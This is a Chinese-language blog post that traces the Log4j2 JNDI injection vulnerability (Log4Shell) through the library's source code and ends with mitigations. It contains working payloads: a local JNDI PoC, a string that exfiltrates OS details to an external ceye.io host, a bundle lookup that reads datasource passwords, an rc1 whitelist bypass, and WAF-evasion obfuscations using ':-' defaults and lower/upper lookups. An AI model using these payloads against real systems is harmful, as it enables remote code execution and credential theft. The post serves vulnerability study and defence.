Log4j2 利用链与Waf绕过分析

log4j 2漏洞一个半月前就已经爆出来了,现在才发分析属实有点晚。主要因为前一段时间在忙着学习汇编。在闲暇的时候跟了一下log4 j2的调用过程,简单总结一下。

Log4j2是Apache的一个开源项目,使用Log4j2可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等。也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

#基本原理

#环境配置

maven 导入log4j的jar包。

1
2
3
4
5
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

在工程目录resources下创建log4j2.xml。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<configuration status="error">
    <appenders>
        <!--配置Appenders输出源为Console和输出语句SYSTEM_OUT-->
        <Console name="Console" target="SYSTEM_OUT" >
            <!--配置Console的模式布局-->
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>
        </Console>
    </appenders>
    <loggers>
        <root level="info">
            <appender-ref ref="Console"/>
        </root>
    </loggers>
</configuration>

#配置文件介绍

下面对配置文件中有关参数进行介绍

Configuration为根节点,有status和monitorInterval等多个属性。status的值用于控制log4j2日志框架本身的日志级别,一般不用设置。

  • Appenders是输出源,用于定义日志输出的地方。log4j2支持的输出源有Console、File、RollingRandomAccessFile、MongoDB、Flume等。

    • Console控制台输出源是将日志打印到控制台上,开发的时候一般都会配置,以便调试。
      • PatternLayout 控制台或文件输出源都必须包含一个PatternLayout节点,用于指定输出文件的格式。各标记符详细含义如下:

        1
        2
        3
        4
        5
        6
        7
        
        %d{HH:mm:ss.SSS} 表示输出到毫秒的时间
        %t 输出当前线程名称
        %-5level 输出日志级别,-5表示左对齐并且固定输出5个字符,如果不足在右边补0
        %logger 输出logger名称,因为Root Logger没有名称,所以没有输出
        %msg 日志文本
        %n 换行
        ...
        
  • Loggers日志器分root日志器自定义日志器,当根据日志名字获取不到指定的日志器时就使用Root作为默认的日志器。自定义时需要指定每个Logger的名称、日志级别等。此外,还需要配置一个或多个输出源AppenderRef

    每个logger可以指定一个level,不指定时默认为ERROR。低于此等级的日志信息不会被记录,只有高于或等于此等级的信息会被记录。

    级别由高到低共分为6个:fatal, error, warn, info, debug, trace

#调用过程分析

POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
package log4j2Exploit;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class run {
    private static final Logger logger = LogManager.getLogger(run.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:3890/test}");
    }
}

跟进logger.error()→logIfEnabled()→isEnabled()→filter() 中判断了当前调用的日志等级是否高于等于配置文件中配置的。(intLevel的值是日志等级越高,值就越小) 判断完成后回到logIfEnabled()

再进入logMessage()→...→tryLogMessage()→log()...->tryAppend()→directEncodeEvent()

直到directEncodeEvent()函数之前没什么好说的,都是读取配置文件创建event事件等操作。 this.getLayout() 获取配置文件里设置的输出格式,并调用encode()处理event。

紧接着调用了toText方法来用不同Converter处理传入的数据,并将结果存入buffer中。 这里解释一下这10个converter对象是干什么的:

比如第一个DatePatternConverter 就是用来根据event对象中的%d{yyyy-MM-dd HH:mm:ss.SSS}(也就是从配置文件中设置的) 转换成按照此格式的时间表示,并将值存在buffer中。所以同理,后面所有的converter就是按照配置文件中设置的输出格式转换为对应的值,并将结果添加到buffer中。 输入${jndi:ldap://127.0.0.1:3890/test}对应的是%msg,处理的converter是MessagePatternConverter,也就是i=8,跟进它的format()。 首先通过event.getMessage()获取到Message对象。再重新创建一个StringBuilder对象workingBuilder,将之前coverter格式化好的部分赋值给workingBuilder,并添加msg对应的字符串给此对象。

然后从之前coverter格式化好的字符串末尾开始,遍历之后的workingBuilder字符串,直到找到${ 起始的位置。找到后将${到整个字符串末尾的值复制给value,并将workingBuilder的长度设置为之前未拼接msg的长度,并重新添加this.config.getStrSubstitutor().replace(event, value) 的值到workingBuilder

这段操作意思: 如果msg中存在${字符串,取出msg值后,就将整个msg字符串从workingBuilder中替换掉。

然后跟入replace函数。 这里主要是对传入的msg字符串进行处理,循环查找以${字符串开头和以}字符串结束的位置,获取两者之间字符串,即jndi:ldap://127.0.0.1:3890/test。(同时还会递归判断这个字符串中是否还有${}

最后进入resolveVariable() 方法。支持的Interpolator类型。 通过 var.indexOf(58)获取:号的索引位置,得到Interpolator前缀。再根据对应的前缀调用lookup方法。

进入到log4j的JndiLookup类的lookup方法中,通过jndi调用lookup。

#利用与绕过

#利用姿势

关于JNDI 的利用方式,可参考之前写的文章Java-JNDI分析与利用

前面分析中可以看到,能利用的不止JNDI前缀。

1
2
${java:runtime} ${java:vm} ${java:os} //获取java运行时版本,jvm版本,和操作系统版本
${sys:java.version}

外带数据: ${jndi:ldap://${java:os}.2lnhn2.ceye.io}

还可利用Bundle协议读取项目配置文件来获取敏感信息。

${bundle:application:spring.datasource.password}

#2.15.0 rc1 绕过

这个绕过有点鸡肋,需要修改配置,默认配置下是不能触发JNDI远程加载的。

简单说一下变化:

前面用到的MessagePatternConverter这个converter 变成了MessagePatternConverter$SimpleMessagePatternConverter 可以看到没有像MessagePatternConverter那样对传入的数据进行${ 判断。而是在LookupMessagePatternConverter.format()方法中才进行了判断,并调用replaceIn()。 然而要触发这个converter,需要修改配置文件,在%msg的后面添加一个{lookups}。

同时JndiManager.lookup方法增加了白名单校验,当以ldap和ldaps协议请求就会判断请求的host。白名单里只允许本机地址。

按理说是无解的,但是在JndiManager.lookup方法中,在捕获异常后没有进行任何操作,从而能走到this.context.lookup() 所以只要让lookup方法在执行的时候抛个异常即可。

payload: ${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}。在url 中增加一个空格,就会导致报错。这样连针对host的校验都能绕过。

修复: 在rc2中,catch之后就直接return了(2.15.0稳定版本不受影响)。

Tips: 提一下2.0-beta7 ≤ Log4j 2.x ≤ 2.17.0(2.3.2 和 2.12.4 版本不受影响),如果配置文件可控,利用Log4j2 提供的 JDBCAppender 功能可以导致JNDI注入。在Log4j2 ≤ 2.16.0的版本由于substitute函数的递归解析还能导致拒绝服务攻击。

#WAF 绕过

绕过方法一

前面提到过在处理${jndi:ldap://127.0.0.1:3890/test}的时候会递归处理。首先循环查找${} 的位置,获取两者之间的字符串。前面没有说的是,找完${}之后它还会查找:-

${${,:-j}ndi:ldap://127.0.0.1:3890/test} 为例: 如果找到就截取:-之前的变量赋值给varName,截取:-到末尾的字符串赋值为varDefaultValve,然后就跳出循环。

然后使用resolveVariable() 对varName的内容进行判断,如果不匹配任何log4j2支持的协议,就返回null(这里varName的值为,)。之后就会把varDefaultValve的值(这里为j)赋给varValue。然后再用varValue替换整个${,:-j} ,即最后结果为jndi:ldap://127.0.0.1:3890/test 所以绕过方法可以是:

${任意字符串:-实际想要的字符串} = 实际想要的字符串

注意这里的任意字符串不能为log4j2 支持的Interpolator前缀。

例如: ${${fdafasdfasdfasfdas:-j}ndi:ldap://127.0.0.1:3890/test}

绕过方法二

可以看看log4j2所支持的Interpolator前缀,有哪些支持对字符串的处理。 所以可以用${lower:j}${upper:n} 等前缀来处理字符串。(部分版本不支持lower, upper等协议)

#受影响的应用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
flume
dubbo
Redis
logstash
kafka
VMware Horizon
VMware vCenter Server
VMware HCX
VMware NSX-T Data Center

受影响的主流应用软件

#修复与防御

  1. 升级到最新版
  2. 临时修改方法:
    • jvm 添加 -Dlog4j2.formatMsgNoLookups=true 参数(版本>=2.10.0有效)
    • 设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0有效)
    • log4j2 < 2.10以下的版本移除JndiLookup类。
  3. 禁止没有必要的业务访问外网

#参考

  1. 从零到一带你深入 log4j2 Jndi RCE CVE-2021-44228 漏洞

  2. log4j2 JNDI注入分析笔记

加载评论